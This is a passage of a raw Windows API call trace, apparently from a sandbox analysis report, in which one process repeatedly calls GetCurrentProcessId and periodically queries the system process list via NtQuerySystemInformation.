0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.354] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.355] GetCurrentProcessId () returned 0x10c0 [0262.963] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0263.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0264.012] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0264.530] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.655] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.656] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.657] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.658] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0264.659] GetCurrentProcessId () returned 0x10c0 [0265.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.169] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.170] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.171] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.172] GetCurrentProcessId () returned 0x10c0 [0265.173] GetCurrentProcessId () returned 0x10c0 [0265.173] GetCurrentProcessId () returned 0x10c0 [0265.173] GetCurrentProcessId () returned 0x10c0 [0265.173] GetCurrentProcessId () returned 0x10c0 [0265.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0265.685] GetCurrentProcessId () returned 0x10c0 [0265.685] GetCurrentProcessId () returned 0x10c0 [0265.685] GetCurrentProcessId () returned 0x10c0 [0265.685] GetCurrentProcessId () returned 0x10c0 [0265.685] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.686] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.687] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.688] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0265.689] GetCurrentProcessId () returned 0x10c0 [0266.198] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db60) returned 0x0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.284] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.285] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.286] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.287] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.288] GetCurrentProcessId () returned 0x10c0 [0266.792] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.799] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.800] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 